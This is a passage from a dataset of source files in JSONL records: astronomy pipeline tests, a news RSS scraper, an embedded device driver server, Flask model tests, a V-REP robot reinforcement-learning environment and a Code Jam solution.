overscan_region)\n\n    def test_image_overscan_none(self):\n        new_fake_image = image_overscan(ccd=self.fake_image,\n                                        overscan_region=None)\n        self.assertEqual(new_fake_image, self.fake_image)\n\n    def test_image_trim(self):\n        self.assertEqual(self.fake_image.data.shape, (100, 100))\n        trim_section = '[1:50,:]'\n        self.fake_image = image_trim(ccd=self.fake_image,\n                                     trim_section=trim_section,\n                                     trim_type='trimsec')\n\n        self.assertEqual(self.fake_image.data.shape, (100, 50))\n        self.assertEqual(self.fake_image.header['GSP_TRIM'], trim_section)\n\n    def test_save_extracted_target_zero(self):\n        self.fake_image.header.set('GSP_FNAM', value=self.file_name)\n        same_fake_image = save_extracted(ccd=self.fake_image,\n                                         destination=self.current_directory,\n                                         prefix='e',\n                                         target_number=0)\n        self.assertEqual(same_fake_image, self.fake_image)\n        self.assertTrue(os.path.isfile('e' + self.file_name))\n\n    def test_save_extracted_target_non_zero(self):\n        self.fake_image.header.set('GSP_FNAM', value=self.file_name)\n        same_fake_image = save_extracted(ccd=self.fake_image,\n                                         destination=self.current_directory,\n                                         prefix='e',\n                                         target_number=self.target_non_zero)\n        self.assertEqual(same_fake_image, self.fake_image)\n        self.assertTrue(os.path.isfile('e' + re.sub('.fits',\n                                       '_target_{:d}.fits'.format(\n                                           self.target_non_zero),\n                                       self.file_name)))\n\n    def tearDown(self):\n        files_to_remove = [self.full_path,\n                           'e' + self.file_name,\n                           'e' + re.sub('.fits',\n                                        '_target_{:d}.fits'.format(\n                                            self.target_non_zero),\n                                        self.file_name)]\n\n        for _file in files_to_remove:\n            if os.path.isfile(_file):\n                os.unlink(_file)\n\n\nclass NightDataContainerTests(TestCase):\n\n    def setUp(self):\n        self.container = NightDataContainer(path=os.getcwd(),\n                                            instrument='Red',\n                                            technique='Spectroscopy')\n\n    @skip\n    def test___repr___method(self):\n        pass\n\n    @skip\n    def test__get_group_repr(self):\n        pass\n\n    @skip\n    def test_add_bias(self):\n        pass\n\n    @skip\n    def test_add_day_flats(self):\n        pass\n\n    @skip\n    def test_add_data_group(self):\n        pass\n\n    @skip\n    def test_add_comp_group(self):\n        pass\n\n    @skip\n    def test_add_object_group(self):\n        pass\n\n    @skip\n    def test_add_spec_group(self):\n        pass\n\n    @skip\n    def test_set_sun_times(self):\n        pass\n\n    @skip\n    def test_set_twilight_times(self):\n        pass\n\n    @skip\n    def test_set_readout(self):\n        pass\n\n\nclass SaturationValuesTest(TestCase):\n\n    def setUp(self):\n        self.ccd = CCDData(data=np.ones((100, 100)),\n                           meta=fits.Header(),\n                           unit='adu')\n        self.ccd.header.set('INSTCONF', value='Red')\n        self.ccd.header.set('GAIN', value=1.48)\n        self.ccd.header.set('RDNOISE', value=3.89)\n\n        self.half_full_well = 69257\n\n        self.saturation_values = SaturationValues(ccd=self.ccd)\n\n    def test_half_full_well_value(self):\n        self.assertEqual(self.saturation_values.saturation_value,\n                         self.half_full_well)\n\n    def test_empty_result(self):\n        self.ccd.header['GAIN'] = 2.3\n        result = self.saturation_values.get_saturation_value(ccd=self.ccd)\n        self.assertIsNone(result)\n        self.assertIsNone(self.saturation_values.saturation_value)\n","sub_path":"goodman_pipeline/core/tests/test_core.py","file_name":"test_core.py","file_ext":"py","file_size_in_byte":38639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"196275392","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\ndef scrape():\r\n    url = \"https://www.hindustantimes.com/rss/topnews/rssfeed.xml\"\r\n    r = requests.get(url)\r\n    soup = BeautifulSoup(r.content,'xml')\r\n\r\n    news_data = []\r\n\r\n    data = soup.findAll('item')\r\n\r\n    for rows in data:\r\n        collect = {}\r\n        collect['title'] = rows.title.text\r\n        collect['description'] = rows.description.text\r\n        link = rows.link.text\r\n        c = requests.get(link)\r\n        next_soup = BeautifulSoup(c.content,'html5lib')\r\n        collect['content'] = next_soup.findAll('p')\r\n        news_data.append(collect)\r\n    #print(news_data)\r\n    return news_data\r\n\r\n","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"171092294","text":"# -*- coding: utf-8 -*-\n\"\"\" Driver Implementation.\n\nThe driver acts an interface between the controller and the platform it runs on.\nWhen activated, the driver starts a server to host incoming requests from controllers.\n\nNOTE: Only one driver can operate on a device during the runtime of the program.\n\nExample:\n    from mindstone import driver\n\n    if __name__ == '__main__':\n        driver.run(platform=\"dummy\")\n\"\"\"\n\nimport threading\nimport time\nfrom abc import ABC, abstractmethod\n\nfrom mindstone.core.connection import server_types\nfrom mindstone.core.transactions import Transaction\nfrom mindstone.core.utils import TerminalColors\n\nfrom .components import supported_components, ExecutableComponentABC, ReadableComponentABC\nfrom .platforms import supported_platforms\n\n\nclass DriverABC(ABC):\n    \"\"\" Driver abstract base class.\n\n    \"\"\"\n\n    @abstractmethod\n    def create_routine(self, name: str, interval: float, entity: str, executor: str, operation: str,\n                       kwargs: dict):\n        pass\n\n    @abstractmethod\n    def create_component(self, name: str, type: str, **setup):\n        pass\n\n    @abstractmethod\n    def delete_routine(self, name: str):\n        pass\n\n    @abstractmethod\n    def delete_component(self, name: str):\n        pass\n\n    @abstractmethod\n    def execute_component(self, name: str, operation: str, **kwargs):\n        pass\n\n    @abstractmethod\n    def get(self, *fields):\n        pass\n\n\nclass _RoutinesThread(threading.Thread):\n    \"\"\" Routines thread class.\n\n    \"\"\"\n\n    def __init__(self):\n        super(_RoutinesThread, self).__init__()\n        self.is_running = False\n\n    def run(self):\n        self.is_running = True\n        time.sleep(time.time() * 1000 % 1 / 1000)  # enable to sync clock\n        start_time = time.time()\n        to_update = {}\n\n        while self.is_running:\n            # in case a subroutine is later on removed later on in the program\n            # delete any entries from the update register that are no longer in use\n            # REVIEW: What?!\n            for key in _driver.routines.keys():\n                if key not in _driver.routines.keys():\n                    del to_update[key]\n\n            for key, value in _driver.routines.items():\n                if key not in to_update:\n                    to_update[key] = False\n                entity, executor, operation, kwargs, time_interval = value\n                # time should be considered accurate to the millisecond (3 decimal places)\n                current_time = time.time()\n                interval_mod = round((current_time - start_time) % time_interval)\n                # to prevent issues with accuracies concerning time measurement, the equation\n                # used is rounded to the nearest whole number. This caused another problem,\n                # causing multiple updates in the time interval. This implementation makes it\n                # so that the coordinator parameter_states associated with a given subroutine is only updated\n                # once in the interval.\n                if not to_update[key] and interval_mod == 0:\n                    _request_handlers[\"exe\"](entity, executor, operation, kwargs)\n                    to_update[key] = True\n                elif interval_mod != 0:\n                    to_update[key] = False\n            time.sleep(.001 - time.time() * 1000 % 1 / 1000)\n\n\nclass _Driver(DriverABC):\n\n    def __init__(self):\n        self.components = {}\n        self.routines = {}\n        self._entity_lookup = {\n            \"component\": self.components.keys,\n            \"routine\": self.routines.keys\n        }\n        self._get_handlers = {\n            \"states\": self.get_states,\n            \"components\": self.get_components,\n            \"routines\": self.get_routines\n        }\n\n    def create_routine(self, name: str, interval: float, entity: str, executor: str, operation: str,\n                       kwargs: dict) -> None:\n        if entity in _exe_handlers and executor not in self._entity_lookup[entity]():\n            raise RuntimeError(\"Executor component '{}' could not be found.\".format(executor))\n        self.routines[name] = (entity, executor, operation, kwargs, interval)\n\n    def create_component(self, name: str, type: str, setup: dict = None) -> None:\n        setup = setup if setup is not None else {}\n        # NOTE: Any existing component with the same name will be deleted and replaced.\n        # initialize a new component at the key 'name'\n        self.components[name] = supported_components[type](**setup)\n\n    def delete_routine(self, name: str) -> None:\n        if name in self.routines:\n            del self.routines[name]\n\n    def delete_component(self, name: str) -> None:\n        if name in self.components:\n            del self.components[name]\n\n    def execute_component(self, name: str, operation: str, kwargs: dict = None) -> None:\n        kwargs = kwargs if kwargs is not None else {}\n        if name not in self.components:\n            raise RuntimeError(\"Component '{}' has not been registered.\".format(name))\n        component = self.components[name]\n        if not isinstance(component, ExecutableComponentABC):\n            raise RuntimeError(\"Component '{}' is not executable.\".format(name))\n        component.execute(operation, **kwargs)\n\n    def get(self, fields: list) -> dict:\n        return {field: self._get_handlers[field]() for field in fields}\n\n    def get_routines(self) -> list:\n        return list(self.routines.keys())\n\n    def get_components(self) -> list:\n        return list(self.components.keys())\n\n    def get_states(self) -> dict:\n        return {\n            name: component.read()\n            for name, component in self.components.items()\n            if isinstance(component, ReadableComponentABC)\n        }\n\n\ndef _handle_received_data(received: list) -> dict:\n    response = {}\n    for method, kwargs in received:\n        display(\"\\tHANDLED METHOD '{}'\".format(TerminalColors.OKBLUE + method + TerminalColors.ENDC))\n        display(_items_to_str(item_prefix=\"\\t\\t\", **kwargs))\n        result = _request_handlers[method](**kwargs)\n        if method in retrieval_methods and result is not None:\n            response.update(result)\n    return response\n\n\ndef _on_receive(received: bytes, client_address: tuple = None) -> bytes:\n    \"\"\" Handles an incoming request from the controller.\n\n    :param received: ata sent by the controller\n    :param client_address: The address of the client sending the request\n    :return: None\n    \"\"\"\n    error_message = None\n\n    # ~ get the time that this request was handled\n    feedback_to_send = Transaction(\"server\", received_time=time.time())\n\n    try:\n        display(TerminalColors.OKGREEN + \"[{}] RECEIVED REQUEST from {}\".format(\n            time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(feedback_to_send[\"received_time\"])),\n            client_address\n        ) + TerminalColors.ENDC)\n\n        # ~ extract the data from the request.\n        received = Transaction.decode(\"client\", received)\n        # ~ handle the received data.\n        feedback_to_send[\"response\"] = _handle_received_data(received[\"input\"])\n    except (RuntimeError, RuntimeWarning, ValueError) as e:\n        # if the drive fails to process teh data then report the error back to the\n        # controller instead of terminating the driver.\n        error_message = \"{}: {}\".format(e.__class__.__name__, str(e))\n        display(TerminalColors.FAIL + \"\\t!!! \" + error_message + TerminalColors.ENDC)\n\n    # ~ prepare the message to be sent\n    feedback_to_send[\"error\"] = error_message\n    feedback_to_send[\"sent_time\"] = time.time()\n\n    # ~ finally, return the result of the the processing done by the driver\n    encoded = feedback_to_send.encoded()\n\n    display(TerminalColors.OKGREEN + \"[{}] RESPONSE SENT\".format(\n        time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(feedback_to_send[\"sent_time\"])),\n    ) + TerminalColors.ENDC)\n\n    return encoded\n\n\ndef _items_to_str(item_prefix: str = \"\", **kwargs):\n    return \"\".join(item_prefix + \"{}: {}\\n\".format(*item) for item in kwargs.items()).strip(\"\\n\")\n\n\ndef set_verbosity(verbose: bool):\n    \"\"\" sets the verbosity of the driver system. \"\"\"\n    global _verbose\n    _verbose = verbose\n\n\ndef display(*args, **kwargs):\n    if _verbose:\n        print(*args, **kwargs)\n\n\ndef run(platform: str, port: int = 50000, connection_type: str = \"tcp\", verbose: bool = True, *args, **kwargs):\n    \"\"\" Start the driver.\n\n    :param platform: The platform used by the driver.\n    :param port: The connection port used by the driver's server.\n    :param connection_type: The type of connection used.\n    :param verbose: If the output of processes should be displayed in the console.\n    :param args: Positional arguments for setting up the platform (differs depending on the platform).\n    :param kwargs: Key-word arguments for setting up the platform (differs depending on the platform).\n    :return: None\n    \"\"\"\n    # setup platform\n    supported_platforms[platform](*args, **kwargs)\n\n    # set the global verbosity setting\n    set_verbosity(verbose)\n\n    # start the routines thread\n    _routines.start()\n\n    # start the connection server so that controllers can connect to\n    # this driver.\n    display(\"{}STARTING SERVER @ ({}){}\".format(TerminalColors.HEADER, port, TerminalColors.ENDC))\n    display(\"Press CTRL+C to end the server.\")\n    display(\"-\" * 50)\n\n    server_types[connection_type].serve(hostname=\"\", port=port, on_receive=_on_receive)\n\n\n_driver = _Driver()\n\n_routines = _RoutinesThread()\n\n_verbose = True\n\n# noinspection PyArgumentList\n_request_handlers = {\n    \"get\": _driver.get,\n    \"exe\": lambda entity, name, operation, kwargs=None: _exe_handlers[entity](name, operation, kwargs),\n    \"delete\": lambda entity, name: _delete_handlers[entity](name),\n    \"create\": lambda entity, data: _create_handlers[entity](**data)\n}\n\n_create_handlers = {\n    \"routine\": _driver.create_routine,\n    \"component\": _driver.create_component\n}\n\n_exe_handlers = {\n    \"component\": _driver.execute_component\n}\n\n_delete_handlers = {\n    \"component\": _driver.delete_component,\n    \"routine\": _driver.delete_routine\n}\n\nretrieval_methods = {\"get\"}\n","sub_path":"mindstone/embedded/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":10142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"483403303","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom kepler.extensions import db\nfrom kepler.models import Job\nfrom tests import BaseTestCase\n\nclass JobTestCase(BaseTestCase):\n    def testJobHasRepresentation(self):\n        job = Job(name=u'♄')\n        db.session.add(job)\n        db.session.commit()\n        self.assertEqual(repr(job), '<Job #%d: %r>' % (job.id, job.name))\n\n    def testJobHasStatus(self):\n        job = Job(status=u'PENDING')\n        db.session.add(job)\n        db.session.commit()\n        self.assertEqual(job.status, 'PENDING')\n\n    def testJobHasDefaultStatusPending(self):\n        job = Job()\n        db.session.add(job)\n        db.session.commit()\n        self.assertEqual(job.status, 'PENDING')\n\n    def testJobCanBeSerializedAsDictionary(self):\n        job = Job(name=u'♄')\n        db.session.add(job)\n        db.session.commit()\n        self.assertEqual(job.as_dict['id'], job.id)\n","sub_path":"tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"287404458","text":"import math\nimport numpy as np\nimport random\nimport time\nfrom time import sleep\nimport collections as col\nimport threading\nfrom threading import Timer\n## threading.Timer(1, self.timerTask).start()\n\nimport gym\nfrom gym import spaces\nfrom gym.utils import seeding\n\nfrom robot import Robot\nfrom robotBot import RobotBot\nfrom menace_object import MenaceObject\nfrom repeated_timer import RepeatedTimer\nimport robotCommon as RC\n\ntry:\n    import vrep\nexcept:\n    print ('--------------------------------------------------------------')\n    print ('\"vrep.py\" could not be imported. This means very probably that')\n    print ('either \"vrep.py\" or the remoteApi library could not be found.')\n    print ('Make sure both are in the same folder as this file,')\n    print ('or appropriately adjust the file \"vrep.py\"')\n    print ('--------------------------------------------------------------')\n    print ('')\n\nCSERVER_REMOTE_FUNC_SHOW_MESSAGE      = 'displayMessage'\nCSERVER_REMOTE_FUNC_RELOAD_FALL_OBJS  = 'reloadFallingObjectsFromClient'\nCSERVER_REMOTE_FUNC_DETECT_OBJ_GROUND = 'detectObjectOnGroundFromClient'\nCSERVER_REMOTE_FUNC_OPERATION_TIME    = 'getRobotOperationTimeToTheMomentFromClient'\nCSERVER_REMOTE_FUNC_OBJ_WALL_HIT      = 'isObjWallHit'\n\nclass RobotOperationEnvironment(gym.Env):\n\n    def __init__(self, clientID, robotId, robotHandle):\n        self._clientID = clientID\n        self._robotId  = robotId\n        self._robotHandle = robotHandle\n\n        self._timeStep = 0.1 # This is self-defined time interval for each reset!\n        self._observation = []\n        self._envStepCounter = 0\n        self._mutex = threading.Lock()\n        self._objWallHit = False\n        self._robotOperationTime = 0\n\n        # INITIALIZE ENVIRONMENT\n        self.loadEnvironmentObjects()\n\n        # Reset\n        self.reset() ## --> Call self._reset() defined below!\n\n        # After loading the robot!\n        observationDim = RC.GB_STATE_DIM\n        print(\"observationDim\", observationDim)\n\n        observation_high = np.array([np.finfo(np.float32).max] * observationDim)\n        self.action_space = spaces.Discrete(RC.GB_ACTION_DIM)\n        self.observation_space = spaces.Box(-observation_high, observation_high)\n        self.viewer = None\n\n        ## DEBUG STUFFS --\n        #self.initializeDebugShapes()\n\n        #def initializeDebugShapes(self):\n        #  self._sphere = p.createCollisionShape(p.GEOM_SPHERE, radius=0.1)\n        #  self._cube   = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1,0.1,0.1])\n        #\n        #def drawDebugShape(self, shapeId, pos):\n        #  return p.createMultiBody(1, shapeId, -1, pos, [0,0,0,1])\n\n    def __del__(self):\n        return\n\n    def loadEnvironmentObjects(self):\n        ## FALLING OBJECTS --\n        self._CNUM_OBJS = 1\n        self._objs = []\n        self._sphereUid = self._cubeUId = -1\n        self.__reward = 0\n        self._CKUKA_MOVE_INTERVAL = math.pi/6\n\n        ## SETUP ENVIRONMENT --\n        ##\n        ## LOAD MANIPULATOR KUKA --\n        self._robot = Robot(self._clientID, self._robotId, self._robotHandle)\n\n        # Initialize the bot\n        self._robotBot = RobotBot(self._robotId)\n\n        # TIMER TASK\n        self._timerInterval = 1\n        #self._rt = RepeatedTimer(self._timerInterval, self.doTimerTask) # it auto-starts, no need of rt.start()\n        #self._rt.start()\n\n    def setTerminated(self, terminated):\n        self._mutex.acquire()\n        self._terminated = terminated\n        self._mutex.release()\n\n    def isTerminated(self):\n        return self._terminated\n\n    def _reset(self):\n        if(RC.GB_TRACE):\n            print(\"_reset\")\n        self.setTerminated(0)\n        self._objWallHit = False\n        #print(\"Start back simulation\")\n        #RC.startSimulation(self._clientID)\n\n        ##1- OBSERVATION --\n        self._observation = self.getObservation([0]*RC.GB_ACTION_DIM)\n\n        ##2- RESET ROBOT POS --\n        self._robot.resetRobot() # Time sleep inside\n\n        ## LOAD FALLING OBJS --  (HAD BETTER LET THIS JOB TO V-REP SERVER, SINCE IT KNOWS WHEN THE RESET PROCESS FINISHED!\n        ##self.reloadFallingObjects()\n\n        ## STEP SIMULATION --\n        #self._envStepCounter = 0 # This count is set in train_robot_operation.py\n\n        if(not RC.doJointVibration()):\n            self._robot.commandJointVibration(1)\n\n        ## ducta--\n        #self._timer.start()\n        time.sleep(self._timeStep)\n        return self._observation\n\n    def _seed(self, seed=None):\n        self.np_random, seed = seeding.np_random(seed)\n        return [seed]\n\n    def doTimerTask(self):\n        return 0\n\n    def getObservation(self, action):\n        self._observation = self._robot.getObservation()\n        #if(RC.isTaskObjSuctionBalancePlate()):\n            # Vel-trained joint vel, action[1] --> Refer to the V-Rep Server Robot script to confirm this!\n            #self._observation.append(np.array(action[1], dtype=np.float32))\n\n        #robotId = self._robot.id()\n        if(RC.isTaskObjSuctionObjectSupport()):\n            ballPos      = RC.getObjectWorldPosition(RC.CBALL_OBJ_NAME)\n            self._observation.append(np.array(ballPos[0], dtype=np.float32))\n            self._observation.append(np.array(ballPos[1], dtype=np.float32))\n            self._observation.append(np.array(ballPos[2], dtype=np.float32))\n            basePlatePos = RC.getObjectWorldPosition(RC.CBASE_PLATE_OBJ_NAME)\n            d = math.sqrt((ballPos[0] - basePlatePos[0])**2 +\n                          (ballPos[1] - basePlatePos[1])**2 +\n                          (ballPos[2] - basePlatePos[2])**2)\n            self._observation.append(np.array(d, dtype=np.float32))\n\n        return self._observation\n\n    def reloadFallingObjects(self):\n        inputInts    = [self._robotHandle] #[objHandles[16]]\n        inputFloats  = [53.21,17.39]\n        inputStrings = RC.CFALL_OBJS_NAMES\n        inputBuffer  = bytearray()\n        ##inputBuffer.append(78)\n        ##inputBuffer.append(42)\n        res, retInts, retFloats, retStrings, retBuffer = vrep.simxCallScriptFunction(self._clientID, RC.CSERVER_REMOTE_API_OBJECT_NAME,    \\\n                                                                                     vrep.sim_scripttype_childscript,                   \\\n                                                                                     CSERVER_REMOTE_FUNC_RELOAD_FALL_OBJS,              \\\n                                                                                     inputInts, inputFloats, inputStrings, inputBuffer, \\\n                                                                                     vrep.simx_opmode_oneshot_wait)\n\n    #def printMotorNames(self):\n        #motorsIds=[]\n        #for i in range (len(self._kuka.motorNames)):\n        #    motor = self._kuka.motorNames[i]\n        #    motorJointIndex = self._kuka.motorIndices[i]\n        #    motorsIds.append(self._p.addUserDebugParameter(motor,-3,3,self._kuka.jointPositions[i]))\n        #    print(motor, '-', motorJointIndex)\n        #    #print(motor, self._kuka.getJointInfo(motorJointIndex))\n        #return 0\n\n    #def __del__(self):\n\n    def isObjWallHit(self):\n        inputInts    = [self._robotHandle] #[objHandles[16]]\n        inputFloats  = []\n        inputStrings = []\n        inputBuffer  = bytearray()\n        res, retInts, retFloats, retStrings, retBuffer = vrep.simxCallScriptFunction(self._clientID, RC.CSERVER_REMOTE_API_OBJECT_NAME, \\\n                                                                                     vrep.sim_scripttype_childscript,                   \\\n                                                                                     CSERVER_REMOTE_FUNC_OBJ_WALL_HIT,                  \\\n                                                                                     inputInts, inputFloats, inputStrings, inputBuffer, \\\n                                                                                     vrep.simx_opmode_oneshot_wait)\n        return retInts[0]\n\n    def _step(self, action):\n        ## ----------------------------------------------------------------------------------------\n        if(RC.GB_TRACE):\n            print('ACTION:', action)\n        ## ----------------------------------------------------------------------------------------\n        ## APPLY ACTION START\n        ##\n        self._objWallHit = False\n        self._robotOperationTime = 0\n\n        ## WAIT FOR V-REP SERVER SIMULATION STATE TO BE READY\n        ##\n        if(self._robot.getOperationState() == RC.CROBOT_STATE_READY):\n            self._robot.applyAction(action)\n\n        #time.sleep(self._timeStep)\n        #!!!Wait for some time since starting the action then observe:\n        reward = 0\n        i = 0\n        while(self._robot.getOperationState() == RC.CROBOT_STATE_MOVING):\n            time.sleep(1)\n            self._objWallHit = self.isObjWallHit()\n            if(self._objWallHit):\n                #print('GROUND HIT',i+1)\n                reward -= 100\n            i=i+1\n            #print('Still moving',i)\n\n        self._observation = self.getObservation(action)\n        reward += self._reward() # Reward Addition after observation 2nd!\n        done    = self._termination()\n        print('Env observed 2nd!', reward, done) # self._robot.getOperationState()\n        #print(\"len=%r\" % len(self._observation))\n\n        return self._observation, reward, done, {}\n\n    def _termination(self):\n        if (self._terminated):\n            ##RC.stopSimulation(self._clientID)\n            ##self._robot.commandJointVibration(0)\n            return True\n\n        self._objWallHit = self.isObjWallHit()\n        return (self._objWallHit)\n        #return false\n\n    def _reward(self):\n        #print(__reward)\n        self.__reward = 1000\n\n        robotId = self._robot.id()\n        #\n        if(robotId == RC.CJACO_ARM_HAND or robotId == RC.CKUKA_ARM_BARRETT_HAND\n                                        or robotId == RC.CKUKA_ARM_SUCTION_PAD\n                                        or robotId == RC.CUR5_ARM_BARRETT_HAND\n                                        or robotId == RC.CHEXAPOD):\n            # ------------------------------------------------------------------------------------------------\n            # BALANCE TASK -----------------------------------------------------------------------------------\n            #\n            ballPos      = RC.getObjectWorldPosition(RC.CBALL_OBJ_NAME)\n            basePlatePos = RC.getObjectWorldPosition(RC.CBASE_PLATE_OBJ_NAME)\n            d = math.sqrt((ballPos[0] - basePlatePos[0])**2 +\n                          (ballPos[1] - basePlatePos[1])**2 +\n                          (ballPos[2] - basePlatePos[2])**2)\n            #print('DDDD:', d)\n            self.__reward -= d\n\n        if(RC.GB_TRACE):\n            print('self.__reward:', self.__reward)\n        return self.__reward\n\n    def objectAvoidanceTraining(self):\n        # self._objs\n        #\n        # 3.1 Objects Pos & Velocity\n        # Compose Environment Info (State input)\n        baseCurPos = self._robot.getCurrentBaseJointPos()\n        print('BASE CUR POS:', baseCurPos)\n        envInfo = [baseCurPos]\n        objsPos = []\n        for i in range(self._CNUM_OBJS):\n            objInfo = []\n            #print(\"Obj Ids: \", i, self._objs[i].id())\n            objPos = RC.getObjectWorldPosition(RC.CFALL_OBJS_NAMES[i])\n            objsPos.append(objPos)\n            # This returns a list of two vector3 values (3 floats in a list) representing the linear velocity [x,y,z]\n            # and angular velocity [wx,wy,wz] in Cartesian worldspace coordinates.\n            objLinearVel = RC.getObjectVelocity(RC.CFALL_OBJS_NAMES[i])\n            #print(\"OBJPS:\",i, objPos)\n            objInfo+= objPos\n            #objInfo.append(objLinearVel[2]) # zVel only\n            envInfo.append(objInfo)\n            #print(\"OBJINFO:\", objInfo)\n\n        # 5. ACTION -------------------------------------------------------------------------\n        #\n        actionId = self._robotBot.act(envInfo)\n        print(\"Robot Act: \", actionId)\n        self._robot.actRobot(actionId)\n\n        # 6. UPDATE OBJECTS ROBOT-HIT & GROUND-HIT STATUS\n        for i in range(self._CNUM_OBJS):\n            #print(\"CHECK KUKA COLLISION WITH BALL\", RC.CFALL_OBJS_NAMES[i])\n            if(self._robot.detectCollisionWith(RC.CFALL_OBJS_NAMES[i]) or \\\n               self.detectObjectsReachGround()):\n                self.setTerminated(1)\n                print('Terminate')\n                break\n\n    def objectCatchTraining(self):\n        # self._objs\n        #\n        # 3.1 Objects Pos & Velocity\n        # Compose Environment Info (State input)\n        baseCurPos = self._robot.getCurrentBaseJointPos()\n        print('BASE CUR POS:', baseCurPos)\n        envInfo = [baseCurPos]\n        objsPos = []\n        for i in range(self._CNUM_OBJS):\n            objInfo = []\n            #print(\"Obj Ids: \", i, self._objs[i].id())\n            objPos = RC.getObjectWorldPosition(RC.CFALL_OBJS_NAMES[i])\n            objsPos.append(objPos)\n            # This returns a list of two vector3 values (3 floats in a list) representing the linear velocity [x,y,z]\n            # and angular velocity [wx,wy,wz] in Cartesian worldspace coordinates.\n            objLinearVel = RC.getObjectVelocity(RC.CFALL_OBJS_NAMES[i])\n            #print(\"OBJPS:\",i, objPos)\n            objInfo+= objPos\n            #objInfo.append(objLinearVel[2]) # zVel only\n            envInfo.append(objInfo)\n            #print(\"OBJINFO:\", objInfo)\n\n        # 5. ACTION -------------------------------------------------------------------------\n        #\n        actionId = self._robotBot.act(envInfo)\n        #print(\"Robot Act: \", actionId)\n        self._robot.actRobot(actionId)\n\n        # 6. UPDATE OBJECTS ROBOT-HIT & GROUND-HIT STATUS\n        for i in range(self._CNUM_OBJS):\n            #print(\"CHECK KUKA COLLISION WITH BALL\", RC.CFALL_OBJS_NAMES[i])\n            if(self._robot.detectCollisionWith(RC.CFALL_OBJS_NAMES[i]) or \\\n               self.detectObjectsReachGround()):\n                self.setTerminated(1)\n                print('Terminate')\n\n    '''\n    def mainRobotTraining(self):\n        score = 0\n\n        #robotBaseJointLimit = self._kuka.getJointLimit(0)\n\n        ## DEBUG ++\n        #self.drawDebugShape(self._cubeUId, [1,1,1])\n        #self.drawDebugShape(self._cubeUId, [0,0,0])\n        ## DEBUG --\n\n        run_count = 1\n        print('RUN # 1 ---------------------------------')\n\n        while True:\n            if(self._robotId == RC.CYOUBOT):\n                # OBJECTS AVOIDANCE ---------------------------------------------------------------\n                self.objectAvoidanceTraining()\n            else:\n                # OBJECTS CATCH -------------------------------------------------------------------\n                self.objectCatchTraining()\n\n            if self.isTerminated(): # Terminal state\n                run_count += 1\n                print('RUN #', run_count, '---------------------------------')\n                # Update the q_values\n                self._robotBot.update_qvalues()\n\n                ## 0. RELOAD FALLING OBJS --\n                self.reset()\n                time.sleep(0.5)\n                continue\n    '''\n\n    def showMessage(self, message):\n        # Display a message:\n        inputBuffer  = bytearray()\n        res, retInts, retFloats, retStrings, retBuffer = vrep.simxCallScriptFunction(self._clientID, RC.CSERVER_REMOTE_API_OBJECT_NAME, \\\n                                                                                     vrep.sim_scripttype_childscript,          \\\n                                                                                     CSERVER_REMOTE_FUNC_SHOW_MESSAGE,         \\\n                                                                                     [], [], [message], inputBuffer,           \\\n                                                                                     vrep.simx_opmode_oneshot_wait)\n\n    def detectObjectsReachGround(self):\n        inputInts    = [self._robotHandle] #[objHandles[16]]\n        inputFloats  = [53.21,17.39]\n        inputStrings = []\n        inputBuffer  = bytearray()\n        res, retInts, retFloats, retStrings, retBuffer = vrep.simxCallScriptFunction(self._clientID, RC.CSERVER_REMOTE_API_OBJECT_NAME,    \\\n                                                                                     vrep.sim_scripttype_childscript,                   \\\n                                                                                     CSERVER_REMOTE_FUNC_DETECT_OBJ_GROUND,             \\\n                                                                                     inputInts, inputFloats, inputStrings, inputBuffer, \\\n                                                                                     vrep.simx_opmode_oneshot_wait)\n        return retInts[0]\n\n    def getRobotOperationTime(self):\n        inputInts    = [self._robotHandle] #[objHandles[16]]\n        inputFloats  = []\n        inputStrings = []\n        inputBuffer  = bytearray()\n        res, retInts, retFloats, retStrings, retBuffer = vrep.simxCallScriptFunction(self._clientID, RC.CSERVER_REMOTE_API_OBJECT_NAME,    \\\n                                                                                     vrep.sim_scripttype_childscript,                   \\\n                                                                                     CSERVER_REMOTE_FUNC_OPERATION_TIME,             \\\n                                                                                     inputInts, inputFloats, inputStrings, inputBuffer, \\\n                                                                                     vrep.simx_opmode_oneshot_wait)\n        return retInts[0]\n\n    def showStatusBarMessage(self, message):\n        vrep.simxAddStatusbarMessage(self._clientID, message, vrep.simx_opmode_oneshot)\n\n\n    def detectHandOnGround(self):\n        handPos = self._robot.getHandWorldPosition()\n        #print('HAND POS', handPos)\n        return handPos[2] < 0.1\n","sub_path":"3rd/vrep/python/RobotOperationBallBalanceEnv.py","file_name":"RobotOperationBallBalanceEnv.py","file_ext":"py","file_size_in_byte":17988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"471053675","text":"import sys\n\ndef add_digits_to_set(n, s):\n    while n != 0:\n        s.add(n % 10)\n        n //= 10\n    return s\n\ndef find_stop(n):\n    if n == 0:\n        return 0\n    digits_set = set()\n    i = 1\n    while len(digits_set) != 10:\n        add_digits_to_set(n * i, digits_set)\n        i += 1\n    return n * (i - 1)\n\nf      = open(sys.argv[1])\nnb     = int(f.readline())\nstarts = list(map(int, f.readlines()))\n\nfor i, start in enumerate(starts):\n    stop = find_stop(start)\n    if stop:\n        print(\"Case #%d: %d\" % (i+1, stop))\n    else:\n        print(\"Case #%d: INSOMNIA\" % (i+1))\n\n","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_ChiefSerizawa_main.py","file_name":"16_0_1_ChiefSerizawa_main.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
